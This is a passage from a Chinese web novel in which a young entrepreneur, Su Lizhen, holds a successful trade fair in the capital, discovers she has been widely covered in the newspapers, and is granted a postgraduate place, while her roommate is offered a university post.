不走怎么办,以那姑娘的性格,怕是前脚展销会结束,后脚就会找他谈判。 今天是他急躁了一点,可他不后悔。 他是发现了,这姑娘的心是真硬,光靠他自己,大概再有三年五载也焐不过来。 还得想办法给自己加点筹码才行啊。 晚上七点多,送走了沈老爷子一家,热闹了一整天的展销会也临近闭展。 这会儿,不管是自家员工、还是各家企业代表都累得不轻,可又因为这一天爆火的销售场面个个精神头十足,一双双眼睛都亮的惊人。 苏丽珍带人把场馆收拾干净后,第一时间就是翻阅今天各单位的销售情况。 展销会首日,有十二家企业产品销量过五千,其中十家是辽省企业,另外两家是首都周边的本土企业。 剩下的三十多家企业整体销量也不错,最低的也卖掉了两千七百余件,算是个很好的开端。 负责统筹的吕新芳统计,截止下午四点前,有三分之二的企业都提出要在明天补货,请她找人帮忙安排好库房协调工作。 苏丽珍点了点头,只要东西能卖掉,其他都是小事。 她拿起一份苏振东给她报上来的,关于自家食品公司的销量盘点,开始认真看了起来。 今天,她的“珍珍食品”也是名副其实的销量“黑马”,到今晚七点前,总共卖出了5236件产品。 跟其他单位单一地靠一、两种支柱产品支撑销量不同,“珍珍食品”是名副其实的百花开放。 卤味、熏味、酱香味三种味型系列的总计四十余款产品均有收获! 不过最叫她侧目的是两款肉酱产品,无论是五香肉酱、还是辣肉酱今天都卖爆了,只这两样就占了整体销量的40%,堪称“黑马”中的“黑马”。 仔细想一想,也不意外。 熟食类商品照比其他副食价格更高,而肉酱既能蘸馒头、又能拌米饭和面条,一玻璃罐净含量360克的肉酱就算顿顿吃,也能吃上个两、三天,是所有肉类熟食副产品中性价比最高的。 不过展销会总共有三天,其他产品也未尝不能后来者居上。 看着这份销量盘点,她不禁眉目舒展。 有了这份销售数据,起码证明了她的“珍珍”不会在首都这片巨大的市场“水土不服”,未来大有可为! 苏振东显然也明白这个道理,疲惫的脸上这会儿也满是笑容。 就在这时,苏厚德和孟知祥一人拎着一串饭盒过来了。 “珍珍啊,可别忙了,这都累一天了!赶快招呼你那几个同学,过来吃点东西,爷爷给你做了你最爱吃的芙蓉鱼片和油焖大虾!” “这还有溜肉段、虎皮丸子、蒜香排骨!来来,孩子们都过来!” 苏厚德一边热情地招呼管明月几个,一边手脚麻利地把带来的饭菜摆好。 摆了一圈,看见苏振东还在这儿,赶忙挥手撵他:“你的份不在这儿,你去楼下找你哥和嫂子他们。” 苏振东一脸无奈,只得乖乖听话下楼。 苏丽珍忙道:“爷爷,这么多吃的呢,就让东叔留下跟我们一起吃吧!” 苏厚德满脸不在意:“这都我亲自做的,还有你姑爷爷给我打的下手,哪里有他吃的份!楼下你爸妈也做了不少饭菜给大伙儿,够他吃了。” 苏振东:“……” 几个女孩子抿嘴偷笑,等落座后亲口尝过苏厚德的手艺后,更是个个惊为天人,一顿饭没吃完,就围着两位老人“爷爷”长、“爷爷”短的,把两个小老头哄得恨不得马上再去做一桌好吃的过来。 苏丽珍端着饭碗,细细品味着可口的饭菜,看着室友们耍宝。 楼下不知道她爸妈今天做了什么好吃的,底下时不时就响起一阵欢笑声,想来大家的饭菜味道也不错。 她看了眼窗外升起的明月,唇角浮现起浓浓笑意。 第二天是周六,来逛展销会的人比第一天更多。 不过因为有了之前的经验,这次苏丽珍几人应对得当,即便排队的长龙依旧夸张得吓人,却没再出过什么岔子。 中午刚过,一个意料外的人过来了。 “珍珍,祝贺你!” 苏丽珍看着眼前容貌美丽更胜怀中花束的年轻姑娘,着实是有些惊讶。 “花很漂亮,谢谢你,秀婷!” “你喜欢就好。”齐秀婷笑了笑,然后四下环顾,看着楼里楼外都人满外患的热闹场景,忍不住道:“昨天太爷爷他们逛完你的展销会回来就说你这活动办得好,今天一看,确实不错!有这么多人,起码这知名度是打开了。” 苏丽珍微笑道:“明天还有一天,我是不敢大意的。什么时候真正t闭幕,我才能把这颗心放到肚子里。” 顿了顿,她又问道:“我记得上次看到你说,你和沈哲十月底马上有重要的外语考试,现在复习得怎么样了?” 齐秀婷望着展厅里兴高采烈大买特买的人群,随意道:“我这边没什么问题,哲哥那边还差了一点。” 说着她转过脸,冲着苏丽珍俏皮地眨了眨眼:“所以今天我能出来,他只能在家继续跟书本死磕!”语气中居然难得带了几分幸灾乐祸。 苏丽珍看她这样,也不由笑了起来。 这几年在首都上学,节假日时她经常去看望沈老爷子,所以偶尔会在沈家遇到齐秀婷。 两人实打实见面的次数不多,但很奇妙的,齐秀婷却很喜欢给她写信,两个人在信纸上的交流明显比实际相处的时候更亲密一些。 苏丽珍觉得,齐秀婷内心是个很骄傲的人,她的身边除了既是爱人、又是朋友的沈哲外,其实一直有些孤独。 她似乎渴望朋友之间那种交心的感觉,但又不耐烦应付两个人相处时彼此磨合包容的过程。 所以选择这种似近非近、似远也非远的态度去对待自己。 但总得来说,她对自己是真诚的。 所以苏丽珍不觉得有被轻视或者冒犯,不提前世种种,两个人相处的态度是互相的,她待自己如何,自己就如何待她。 而且刨去这些,齐秀婷本身确实是个很有想法、也很有魅力的女孩,她的一些观点也给了苏丽珍不少启发。 齐秀婷看见她笑,自己也跟着笑。 笑了一会儿,她把目光重新投向展厅里拥挤的人群。 就在苏丽珍准备开口邀请她进去逛逛的时候,她忽然轻声道:“珍珍,你是个独立优秀的女孩,那你会觉得一个大学毕业就要走入婚姻的女孩很没意思吗?” 苏丽珍听完沉默了一瞬,她想起上辈子沈哲和齐秀婷就是大学一毕业就订了婚,然后一年后两人又一起出国,并在出国前夕完婚。 在她有限的记忆里,沈哲和齐秀婷青梅竹马,彼此相爱多年,两人对他们的婚姻也应该是十分期许的。 只是这一世,无论是高中时期,还是这几年通信,她都看出齐秀婷有很强烈的事业心,她内心迫切希望自己能够像家里的长辈那样,成为一名出色的外交官。 说实话,大学毕业正是青春年华,让一个励志做出一番事业的女孩马上投入婚姻殿堂,无论是谁,都会下意识茫然或者迟疑吧。 不是感情不够,恰恰是因为感情足够真挚浓烈,充满期许,所以才不确定自己是否有能力在婚姻和理想中取得平衡,不让天平两端的任何一方受到伤害。 苏丽珍知道齐秀婷其实未必想要什么答案,大概只是想找个人倾诉一下。 不过她想了想,还是认真回答道:“不会!” 见对方漂亮的杏眼盯着自己,她一字一句道:“人有千百种活法儿,在不伤害别人的前提下,哪一种活法都是正确的。没谁规定一个人必须在什么时候做什么事,她只要坚持做自己。” 坚持做自己,弄清自己内心真正想要什么,恪守不伤害他人的底线,一路走下去,不管结果是苦、是甜,都能坦然接受。 千万不能像她上辈子那样,虽然够执着,可一是执着错了方向,二是枉顾了身边人的爱护之心,所以她最终错到底,没有一丝可取。 当然,齐秀婷远比上辈子的她强得多,自然不会像她那样做尽蠢事。 尽管有困扰,也只会是一时,就算今天她什么都不说,以对方的聪慧,也能很快想通,而不是钻牛角尖。 齐秀婷静静地听完,半晌没有开口,似乎陷入了某种思绪中。 苏丽珍见状也不打扰,给对方思考的空间。 过了好一会儿,旁边的人才倏然一笑,对苏丽珍道:“你说的对,没谁规定她什么时候必须做什么事,她代表她自己,不会被任何人定义,哪怕是她的爱人和亲人。” 齐秀婷脸上露出一抹轻松的笑容,这一刻明媚至极。 “谢谢你的答案!” 她看了眼不远处探头探脑往这边张望的展厅工作人员,笑道:“好了,我知道你很忙,就不打扰你了!难得来一次,我进去逛逛,你先忙好了!” 苏丽珍见她状态不错,虽然不觉得自己的话真的能给对方带来多大帮助,但是带着笑容的齐秀婷显然要比一个茫然的她更好看。 所以她也跟着露出一个笑容:“好,你去吧,要是需要人陪,你再来找我。” 齐秀婷笑着点头,然后就独自走向了另一边供员工出入的侧门。 苏丽珍看着她身姿优美的背影,眼前蓦地浮现出三年前的一幕。 那是高考结束时,她和对方这辈子第一次正式接触。 在那座前世和今生完全走向不同轨道的高中校园里,临别之际,她以一种摆脱宿命,同时又带着几分愧疚的心态跟对方道了一声祝福。 此刻,她同样想再次祝福对方。只是这一次,与前世无关,是她个人纯然的欣赏和期盼。 “齐秀婷,你,你们一定会幸福!” 对方对她粲然一笑,并回以当年的同一句话。 “谢谢,你也一样!” 第213章 为期三天的展销会圆满落幕,最后一天,许多大主顾也观望的差不多了,纷纷出手,所以当天四十四家企业都签了不少大单。一、二楼三个贵宾休息室,这一天几乎就没断过人。 打头的几家凤城老字号国企更是签了至少够忙三个季度的订单。 几家私人企业学习“珍珍食品”公司,在卯着劲儿签单的同时,还发展了一批本地经销商,可以说是借着这场展销会的春风成功迈出了探索外地市场的第一步。 而作为这次活动的主办方,“珍珍食品”也收获巨大。 三天产品零售量突破一万六千件,不但拿到了首都当地几家百货公司的进驻邀请,签了不少订单,还谈下了一批比较有潜力的加盟代理商,真正意义打开了首都市场。 也因为这次展销会取得了空前的成功,苏丽珍跟这些来参展的企业也结了一份善缘。 如果说在参展之前,这些企业中的大部分是碍于省里面子,不得不捏着鼻子跑这一趟,但经历了这三天后,很多人都意识到苏丽珍这一次的邀请其实是一次非常有价值的试炼机会。 除了眼下可喜的收益,那些能触动内心的启发和灵感更加珍贵。 他们理解了省里的苦心,也打心眼里认可了苏丽珍这个后来居上的年轻人。 当真是长江后浪推前浪。 出于弥补之前的忽视和怠慢,临别之际,不少企业代表放下姿态,纷纷向苏丽珍释放了自己的善意,希望双方今后能继续互通有无,携手并进。 苏丽珍自然欣然表态,大家取长补短,互相学习,共同发展。 等把最后一批参展企业代表送走后,苏丽珍大手一辉,先给全体员工放了两天假,让大家好好休息休息。 她则带着室友们回到四合院,请苏爷爷下厨,美美吃了一顿丰盛的大餐,然后就乖乖回学校了。 没办法,这学期一共六周课,还有一周没上完,之前为了展销会她已经请了一天假,临近结业,能不耽误就不耽误了。 回学校把当天的两节课上完,告别室友,晚上她又回了家。 家人们明天就要返城,她这几年虽然已经习惯分别,却还是万分珍惜和家人们在一起的每一分、每一秒。 李翠英看她又回来了,不禁嗔怪道:“你说你也不嫌累,就在学校好好歇歇不成,非得来回折腾。” 苏厚德可听不得有人说他宝贝干孙女,赶忙帮着说话:“回来得正好,我还想着如今早晚天凉,我再做点小吃啥的,让珍珍带回去给几个孩子分分。这几天,人家可没少给咱出力。” 李翠英知道说不过这祖孙俩,只得举手投降。 一家人在院子里聊天,他们这次来住的是四合院,这边宽敞,独门独院,环境幽静,很适合苏厚德和孟知祥这样的老人家居住。 李翠英抬头看着南面单独的一间半倒座房,不禁感慨道:“听说吕家嫂子回老家,得过段时间回来?” 苏丽珍点头:“吕家大伯娘这次回去是处理老家那边的田产,然后把芳姐的父母、哥哥和奶奶都接过来,一家人来享清福。” 这两年吕新t芳的事业发展的不错,一直在这边帮忙的吕大伯娘想法也改变了不少,所以今年夏天,吕新芳也在这边置办了一套小院,面积不算很大,但足够他们一家子住。 上个月才装修好,晾了几天能住人,吕大伯娘就马不停蹄回豫省老家接人了。 李翠英也为这一家人高兴。 吕家大嫂子和吕新芳为人都很不错,单看人家这两年帮他们把这房子打理得井井有条,就知道都是实诚人。 一家人你一句、我一句又聊了好一会儿,期间苏厚德掌勺做了香酥小鱼干、怪味花生和蜂蜜小麻花三样小吃,放凉后用饭盒仔细装好,叮嘱苏丽珍明天带回学校去。 苏丽珍在家里住了一晚,第二天七点半把一家人送到火车站。 看了看表,上午十点有一节课,她估算了下时间,觉得来得及,便打算先去一趟沈瑞首都的公司,找对方谈一谈。 去之前,怕人不在,她又找了个公用电话,准备先打个电话试试。 电话号特别好记,以至于想忘记都不太容易。 这边号码拨过去,只响了一声,那边就被接起了。 接电话的是一位男同志,苏丽珍直接问起沈瑞,谁知那边竟然告诉她,沈瑞去特区了,而且是两天前就走了! 明明那天晚上,沈老爷子一家过来的时候,老人家还拐弯抹角地把话题往他身上引,说他这次回来,赶上首都这边一摊子事,怎么也要忙个个把星期。 没想到人第二天就走了! 苏丽珍简直要气笑了。 这是知道她要找上门,故意躲出去了? 他可真行! 就在她准备挂电话之际,电话那头的男同志忽然小心翼翼地问了一句:“请问您是苏丽珍小姐吗?” 这又闹什么妖? 她深吸一口气,平静地应了一声:“对,我是。” 电话那边的人似乎如释重负一般,赶忙道:“苏小姐,是这样的,我们沈总临走前交代过,如果您打电话来,就请您一定到最近的报摊上转一转。那里有他送您的一份小礼物,只希望您不要介意他之前的唐突。” 挂断电话后,苏丽珍蹙起了眉头。 报摊?这是什么意思? 她下意识一偏头,正好公用电话旁边就是报摊,一米多高的“人”字型铁架上挂了好几排各大报社出版的报纸。 走近了细看,甚至还有临近城市的报刊,主打一个全面。 她过去交了钱,随手拿起一份当地一家主流报社的报纸,翻了翻。 这份报纸一共两张,八个版面,当翻到第二版时,头条赫然是对她这次举办的辽省企业文化展销会的点评报道。 她精神一震,赶忙认真看了起来。 文章先是介绍了为期三天的展销会日日客流爆满的盛况,尤其点出参展的企业通过这次展销活动仅依靠零售的方式就卖出上万件商品,同时,还签订了多笔大宗订单,收获可谓巨大。 文章提出这些辽省企业之所以能取得这样的好成绩,一方面归功于他们辽省企业能摆脱传统观念,积极探索和迎合市场,面对日益变化的经济形势,能够及时转变观念,主动出击,为自己创造更多机会。 另一方面,则是跟这场下足了功夫的展销会有关。撰稿人盛赞了这次展销会大到展厅布置,小到每次免费供应给排队顾客的果饮杯子都会认真清洗等细节,无一不彰显用心二字,更是把“服务周到”四个字真正牢记在心,处处透露出满满的诚意。 苏丽珍看得内心砰砰直跳,捏紧了报纸,一目十行,继续往下看去。 上面既然提到了展销会,自然而然就提到身为主办方的“珍珍食品”。在简单介绍了公司的概况后,文章同样赞扬了他们在筹备活动过程中付出的心血和努力,也顺带提了一句他们“珍珍”在这次展销会上斩获的佳绩,称他们是实力与智慧并存的优秀企业,值得更多企业学习。 文章还援引了几名经济学专家和学者的点评,也无一不是正面的肯定态度。 最后,则引用了两张活动照片,一张是活动期间展销会内外人山人海的照片;另一张是开幕第一天,她接受自己提前请来的一家报社记者采访时拍下的正面照。 看完整篇报道,苏丽珍此时的双眼亮得惊人! 她没想到她的展销会,她的“珍珍”会以这样隆重的方式登上首都当地的主流媒体! 虽然展销会开展当天,她也邀请了两家媒体过来跟踪报道,但是一来那是他们自己上门邀请的,更多还是为了打广告,跟这种主动被人报道的性质完全不同。 二来,那两家媒体在当地勉强只能称得上二流,而如今这家却是主流中的主流,无论是报纸的知名度、还是发行量,前者完全没法跟后者相提并论。 甚至这篇文章是能够反映出,当局对他们这次活动持以什么态度的! 这种重要信号的释放,是比经济效益本身更重要的收获! 苏丽珍强自按捺住内心的激动,下意识看向前面的报纸架,想起先前电话里的提示,目光微动,忽然一个大步冲上前,迅速抽出另外一份标头同样是家大媒体的报纸。 她这冷不丁的一下子给看摊的大爷吓了一跳,老头赶忙喊道:“哎,姑娘,轻拿轻放啊,也不行光看不买!” “我知道了,大爷!”苏丽珍随口应了一句,忍着“砰砰”跳做一团的心跳声,飞快翻动起手里的报纸。 果然,翻到第二版的时候,同样是对他们这次辽省企业“闯”首都的点评报道,跟前一篇侧重点稍有不同,但整体也是以赞扬褒奖为主。 苏丽珍放下这篇报纸,又迅速从架子上连抽了十来份,最终发现今天发行的报纸里,百分之八十都刊登了有关他们这次展销会的内容。 这些报纸有名气很大的主流媒体,也有发行量次一等的报刊媒体,但无一例外,全部都是肯定态度。 这回终于能确定了,她的展销会、她的“珍珍”,要在首都一炮而红了! 这一刻,足以用欣喜若狂来形容她的心情! 旁边看摊的大爷见她左一份、右一份扒拉出一堆报纸,正不满地要张嘴呵斥,谁知当看到那张白净秀气的面庞时,忽然目光一凝,迅速把手上正在看的一份报纸“哗哗”往回翻了两页,找到其中一版头条的位置,眼睛一扫,再对比眼前人儿的长相,直接“哎呦”了一声。 “你不就是报纸上开展销会的闺女嘛!” 苏丽珍见自己被认出,激动的心情稍敛,虽然有点不好意思,还是大大方方承认道:“对,大爷,是我。” 老头显然也有些激动,拍着大腿不住道:“嘿,我就说我这眼神利索吧!闺女,还真别说,你们这展销会是真不错,卖的那些东西味道好、价格也实惠。我们这一大家那两天可没少往家搬东西,我们老两口一个月的工资都没打住!” “要我说,你这闺女是真有本事,看看,连这报纸上都没口子的夸!我看你也就顶多二十出头,这么小的岁数就有这么大能耐,忒出息了!” 老爷子对着苏丽珍就是一阵猛夸,尤其是看到她先是谦虚地跟自己道谢,之后又主动掏钱把刚刚翻过的报纸通通买下来后,老人家对她越发和蔼。 “闺女啊,你这上了报纸是大事,更何况这么多家报纸呢!我看你不如一样都买上几份,回家给你爸妈亲戚啥的挨个发一遍,这多光荣啊!老话讲,这叫光宗耀祖!” 第214章 苏丽珍欣然接受了这位大爷的建议。 她倒不是为了光宗耀祖,而是能登上首都主流媒体的报纸,就相当于是在全国挂了号了,这可是最有力度的宣传,将来不管去哪儿都拿得出手。 抱着一摞报纸往回走,经刚才卖报大爷这么一打岔,她这会儿激动的心情也平静了不少。 这一冷静下来,她立马想起有这么多家报纸重点关注她的原因了。 毫无疑问,肯定是沈瑞在背后出手运作。 她对自己的公司充满信心,也坚信这次展销会的圆满举办是一次正确、且十分有意义的尝试,他们在充分迎合当下的经济形势的同时,也能为更多企业带来好处。 但这世上正确的、优秀的人和事太多了,多她一个不多、少她一个不少。 值得被肯定,不代表你就能成功脱颖而出,然后被树立成典型,让更多人知晓和赞扬。 所以t,她如今所受到的绝大多数肯定并不完全是因为她的表现,更多源自那个在背后默默推了一把的人。 而这个人,恰恰是苏丽珍最不想再继续欠人情的家伙。 一想到这些,刚刚翻看报纸时的巨大喜悦不觉间也散去了大半。 等心事冲冲回到学校,看了眼手表,发现距离上课时间只有半个小时,索性也不折腾了,直接去了教室。 结果她刚进教室门,就发现今天班级里的人特别全。 虽说眼下已经大四,还有一周就结课了,可她的同学们总是习惯把自己的时间填的满满的,平常大多时候还是泡在图书馆和各种学习广场,像今天这样早早来教室的时候可不多。 与此同时,经济学专业83界的二十多名学生目光立马齐刷刷往苏丽珍这边扫过来! 也不知道谁喊了一句:“咱们的丽珍同学回来了!” 这一声石破天惊,原本安静的班级立即炸了锅! “丽珍,你可回来了!我们今天都看了《XX日报》和《XX早报》,那上面刊登了前两天由你的公司牵线主办的四十多家辽省企业展销会,你真的太厉害了!” “对、对,丽珍,报纸我们大伙儿都看了,说你在你们老家办了一家规模很大的私营企业,名字也叫‘珍珍’,专门生产各种熟食制品……对了,能跟我们大伙儿说说你办的企业吗?” “是啊、是啊,丽珍同学,你是怎么想到要创办这样一家企业的?我们可好奇了,快跟我们说说吧!” 同学们你一言、我一语,直接把苏丽珍团团围住,叫她应接不暇。 关键时刻,还是老搭档管明月可靠,只见她两手用力“啪啪”拍了几下,先把大伙儿的注意力转移过去,然后高声道:“亲爱的同学们,咱们丽珍同学确实优秀,上了报纸,别说你们好奇,我也好奇啊!改天咱就让她坐下来把她办厂、办展销会的那些事都给咱好好讲讲。” “但是今天不行!马上还有二十五分钟就上课了,这么点时间,你说讲了一半、剩一半的,大伙儿都听不全,那还不得闹心死!所以,咱大家今天就先安静安静,咱也给人丽珍同学一点时间,叫她好歹先准备准备,别到时候再叫咱给问住了!” 同学们发出一阵善意的哄笑声,果然不再纠缠。 苏丽珍也得以顺利回到座位。 几乎是一落座,管明月就凑过来小声道:“珍珍,恭喜你!报纸,姐妹们都看了,还一口气卖了好几份!大伙儿都说好了,这些分分,回家就各自珍藏起来,以待来日做传家之用。” 说着,她一边朝苏丽珍挤眼睛、一边拿腔拿调道:“六妹,苟富贵,勿相忘,他日携纸来投,望君不弃!” 苏丽珍简直哭笑不得。 她一脸无奈道:“你们怎么这么快就知道了?” 图书馆里也提供各种报纸阅览,他们学的是经济学,因此好多人时常去翻阅报纸,看一些经济政策相关的社会时政报道。 所以苏丽珍一点也不意外班上同学会这么快就知道她上报纸的事。 只是她印象里,室友们恰恰都不喜欢看报,结果今天才半上午的工夫,连报纸都买回了一沓,显然是早知道消息了。 说到这个,管明月眼睛猛地一亮,盯着苏丽珍难掩兴奋道:“好小六,你一说,我才想起来,差点把正事忘了!之前你是不是找了……” “苏丽珍同学呢?” 恰在这时,刘导员的声音在门口响起,一下打断了管明月要说的话。 苏丽珍按了下她的手臂,赶忙起身应声:“导员,我在!” 刘导员便朝她招了招手:“苏丽珍,你跟我来一下。” 管明月见状,立马忘了要说的话,小声低估了一句:“肯定是为了你上报纸的事。” 苏丽珍微微点了下头,答应了一声,就跟着刘导员走了。 等来到老师办公室,她一坐下,刘导员就说出叫她过来的用意。 其中一个,果然是跟她上报纸有关。 刘导员倒是没问太多,只是饶有兴趣地简单问了问她是否真的在凤城办了个厂子,具体生产什么产品,以及多大规模等问题。 苏丽珍一一如实回答。 等听说苏丽珍高考毕业那年就办了这家工厂,且经过这几年发展,已经成为省里同行业的标杆企业,刘导员不由满眼赞叹,也连着夸奖了她几句。 末了,刘导员提出,眼下本学期的课程即将结束,同学们马上要开始准备实习工作了。 他希望在大家离校前,苏丽珍能给大家讲一讲她的创业经历,既是为大家加油鼓劲,也是为同学们树立一个榜样,让他们走入社会后牢记遇事不骄躁,不懈怠,更不气馁,要始终保持虚心进取的心态,坚持努力,积极向上。 刘导员说这番话的时候,目光十分真挚,饱含了对学生们最大的祈愿。 苏丽珍能感受到老师的用心良苦,所以即便有点不太好意思,还是一口答应了下来。 刘导员很高兴,又忍不住问起她办展销会的经过。 这般说了十来分钟后,眼见着距离下节课上课只剩七分钟,就在苏丽珍觉得谈话差不多的时候,刘导员忽然话音一转,直接通知她一个堪称重磅的消息! “丽珍同学,自去年起我们学校就恢复了保研制度。现在,经过我们院系领导和老师们一致研究通过,决定由你获得我们系今年的研究生推免名额。” 刘导员看着已经呆住了的学生,不由含笑道:“恭喜你,丽珍同学,你已经成功录取为咱们学校的研究生了!” 苏丽珍的心再次“砰砰”直跳! 保研,居然是保研!她被学校提前录取为研究生了! 巨大的喜悦险些将她淹没,她强自按捺下心中的激动,起身郑重朝刘导员鞠了个躬:“谢谢您,刘导员,也谢谢学校对我的栽培!您放心,我今后一定会继续努力,绝不辜负校领导和各位老师们对我的信任!” 刘导员笑着点了点头。 不愧是年纪轻轻就能自己创出一番事业的好学生,只这快速的应变能力和荣辱不惊的态度就十分优秀了。 “原本这个通知是该早些下来的,只是学校一开始对你的安排出现了一点分歧,有一部分老师更希望你能先留校。” 如今国家高校人才紧缺,本科毕业就可以申请留校了。 而刘导员没说的是,其实在今天之前,他也是赞成苏丽珍同学留校的一员。 在他眼中,这位同学性格沉稳,做事不骄不躁,也耐得住辛苦。 在他们学校修双学位并不是一件轻松的事,但她不但坚持了下来,还完成的非常出色,也因此得到了不少老师们的欣赏。 他们这些老师自然还是喜欢这样稳得住、能吃苦又有能力的后辈。 所以他们认为,可以先让苏丽珍同学留校,如果今后她个人有继续深造的意愿,在职也是个优势,毕竟学校里好多老师都是走这条路的。 只是今天的报纸一出,看到这位同学在家乡和首都做出的这一番轰轰烈烈的事业,他们就明白了,相比留校做一名普普通通的老师,也许这位同学更适合外面的广阔天地。 而且如果她能真正学以致用,把学校里的理论知识结合实际,说不定能创造出更辉煌的未来。这也同样,甚至说是更好地在实现他们首都大学的理念! 想明白这点,大家也不再坚持让对方留校的想法。 而苏丽珍的成绩完全够格让她拿到保研资格,所以今天上午名单终于顺利敲定。 苏丽珍也没想到学校会如此厚爱自己。 高考恢复不到十年,在当下普通人的认知里,大学生、甚至大专生就相当于是天之骄子了,尤其是顶尖学府的本科毕业生更是金字塔尖般的存在。 绝大多数人不知道大学毕业往上还有研究生、硕士,也因为不了解,所以完全不懂这些的意义。 但是留校就不一样了,再没有比这能更直观地反应一名学生优秀与否了。 说白了,每一届的学生那么多,什么人能留校?那自然是学得好、本身很优秀的人啊! 再加上大学老师在社会地位、收入等方面要优于其他老师,含金量十足,说一句让人歆羡也不为过。 所以对于如今的学生来说,在留校和保研之间,说不定更多人会选择先留校。尤其是他们首都大学的学生,最不怕的就是各种考试,保不了研可以自己考,但留校的机会真不常有。 苏丽珍t此刻的内心十分感动,她能看得出刘导员眼中的惋惜。 首都大学有严格的规定,校内教职人员严禁以任何形式参与诸如开公司、办工厂等企业经营活动。 留校任职当一名老师固然好,但学校应该也意识到她志不在此,所以直接把给她的留校名额换成了保研。 甚至贴心地没有找她谈过话,没给她一丝一毫的压力。 苏丽珍动容地向刘导员保证道:“老师,学校的良苦用心,我都明白了。我跟您承诺,今后无论在哪儿,我都会严格要求自己,始终牢记自己首大学子的身份。” 刘导员再次笑着点头。 这回,刘导员没有再多留苏丽珍,只让她回去帮忙通知管明月,叫她这节大课结束后来趟办公室。 苏丽珍总觉得,刘导员这次找管明月十有八、九也是为了留校的事。 管明月做了四年的班长,她性格开朗豪爽,人缘好,有能力,学习成绩也不错,也是非常合适的留校人选。 她一路想着这些,等到了班级,刚一坐下,管明月就小声问她是不是为了上报的事。 她点了点头,还没等张口,上课铃声就响了,给他们讲课的老教授也进了教室。 两人立马噤声收心,准备听课。 一节大课九十分钟,每上四十五分钟小课,中间能休息十分钟。 第一节小课结束后,管明月就迫不及待凑过来跟她咬耳朵。 “怎么样,导员都跟你说什么了?让我猜猜,以咱们校领导老师的性格,肯定会让你给大家讲一讲,分享一下个人心得!” 第215章 苏丽珍直接朝她竖了下大拇指,猜的真准。 然后又悄声说起了保研的事。 管明月听得瞪大眼睛,这回换她给苏丽珍竖大拇指:“六儿真牛!不过是你的话,也算实至名归。” 苏丽珍是他们班唯一修双学位而且成绩还十分不错的人,那两年起早贪黑,节假日也几乎不休息,真是肉眼可见的辛苦。 所以这个保研名额如果不给她,那才是出了鬼了! 苏丽珍本来想提一嘴留校的事,但事情到底没做准,她也怕自己猜错了,让好朋友空欢喜一场,所以只顺嘴提了刘导员让她下课后去办公室的事。 管明月听完点了点头,表示知道了,一点没好奇是什么事。 她是班长,往导员办公室跑惯了,这会儿压根没往别的地方想。 就算好朋友刚从那边得到了保研的好消息,她脑子里那根筋也没往那个方向转。 一般一个专业一个班级里只能有一个保研名额,他们这个专业虽然只有一个班,但大概率不会再有第二个名额了。 况且在她看来,现在本科毕业生就已经很够用了,她本身也不是那种能耐得下性子,想继续深造的人,所以对保研这个事真不怎么在意。 她这会儿在意的是好朋友的事! 想起之前没来得及跟小六说完的话,她连忙拉着苏丽珍兴奋道:“珍珍,早上芳姐没课就去了趟厂子,回来跟我们说,今天一大早有好几个人拿着报纸找过来,说看了我们厂为展销会做的窗帘、台布之类的家居用品,非常喜欢,一口气下了好多订单!” “芳姐之后就去买了报纸回来,我都看了,其中有两家是你之前专程为展销会找来的媒体,我看他们的报纸上有配合专门介绍我们厂子和产品的报道,都是你特地安排的吧!” 尤其那一组展销会上家居装饰用品的照片,画面效果出奇的好,一看就是请人特意拍的。 苏丽珍一听,就明白了她们为什么会那么快知道自己上报的事了,还真是赶巧。 不过好友们的厂子接到大单,自己的安排奏了效,这也是大好事,她不禁笑道:“反正请人家来一趟,不管咱们中哪一个,逮住机会能多宣传就多宣传。而且这次主要还是芳姐和美君设计得好,你们的产品本身技术和质量也都有保证,真正做到了物美价廉,这才能吸引大主顾登门。” 管明月却道:“我可不听你的,我知道,你就是有意想帮我们,偏偏又不肯居功!不过你不承认也不要紧,我们心里可有数呢!” 说罢,她双眼亮晶晶地看向苏丽珍,有些兴奋道:“说起来,今天真是个好日子,珍珍你上了主流报纸,又拿到了保研名额,我和芳姐也拿到了好几笔大订单,这么多喜事加一起,晚上可得好好庆祝庆祝!” 苏丽珍也欣然同意,而且她总觉得说不定明月这里还有一喜呢! 不过如果明月也有留校机会的话,不知道她和芳姐的厂子要怎么处理。 这间布艺加工厂从无到有,从初期固定资产只有几台二手缝纫机到如今有明亮宽敞的厂房和百来台机器,两年多的时间里,两个人花费了无数心血。如今厂子眼见着蒸蒸日上,这个时候放弃,换谁都会不舍。 虽然按照她对明月的了解,最后她大概率还是会选择留校…… 正出神之际,她忽听管明月在旁边又低声道:“珍珍,我和芳姐之前已经商量好了,这次上门的订单,只要是想订购展销会同款的,我们打算每笔订单都额外支付给美君8%的设计费。” “只是我俩担心美君不肯接受,所以你到时候一定要帮我们劝劝。” 苏丽珍想了想,展会用品的设计是由吕新芳和万美君共同完成,加上管明月她们不是按照净利润提成,而是按照整笔销售额计算,这其中差别很多,所以8%这个数字很合理。 不过她还是道:“我能理解你们的想法,但是美君那里,我觉得如果你们过分强调这些,她不见得会高兴。不如你在这项设计费上再加一个年限,具体多少年让她来定,这样你们尽到了心意,美君也不会认为是你们见外。” 管明月听完双手一合,高兴道:“这主意好,中午我回去跟芳姐说说,就这么办!” 其实不光是万美君,就是苏丽珍这里,管明月和吕新芳也有了主意。 她们打算在月底前赶工,加工出一批“珍珍”的吉祥物玩偶,到时候都送到“珍楼”那边,给苏丽珍当对外宣传品。 这是她们俩想了半天,觉得苏丽珍能收下、且也能派上用场的东西。 其他的,不是她们做不了,而是以小六的性格,大概率不会白要,甚至说不准转一圈回来,最终还是她们占了好处。 所以思来想去,就做这个吉祥物玩偶最好! 不过现在也不能说,小六这脾气,还是先瞒一瞒的好,等东西做好了,直接送过去再说, 两个好朋友默契地都在心里想着对方的事,直到上课铃再次响起才收心。 等这节大课结束后,管明月直接去了刘导员办公室。 苏丽珍就留在教室里慢悠悠收拾两人的书本。 等她又慢悠悠走到教学楼前的雨搭下,这回只等了五分钟不到,管明月就出来了。 苏丽珍老远看着她那一副既像是欢喜、又像是苦恼的恍惚表情,心里一下就确定了。 自己之前的猜测估计成真了。 果然,管明月一见到她,第一句就是:“六儿,刘导员找我居然是为了留校的事!” 因为这个突如其来的消息,一向胃口好的管明月中午十分罕见地没吃得下去饭。 苏丽珍捧着饭盒陪她一起回到寝室,原本准备给苏丽珍贺喜的寝室其他人一见她这样,还以为出了什么事,等听说是为了留校的事,大伙儿都挺为她高兴。 还是那句话,留校代表了学校的认可,尤其还是他们母校这样一流的学府,这更是一项殊荣! 不过大家也知道管明月为了她和吕新芳共同的厂子付出了很多,一时难以抉择也很正常。 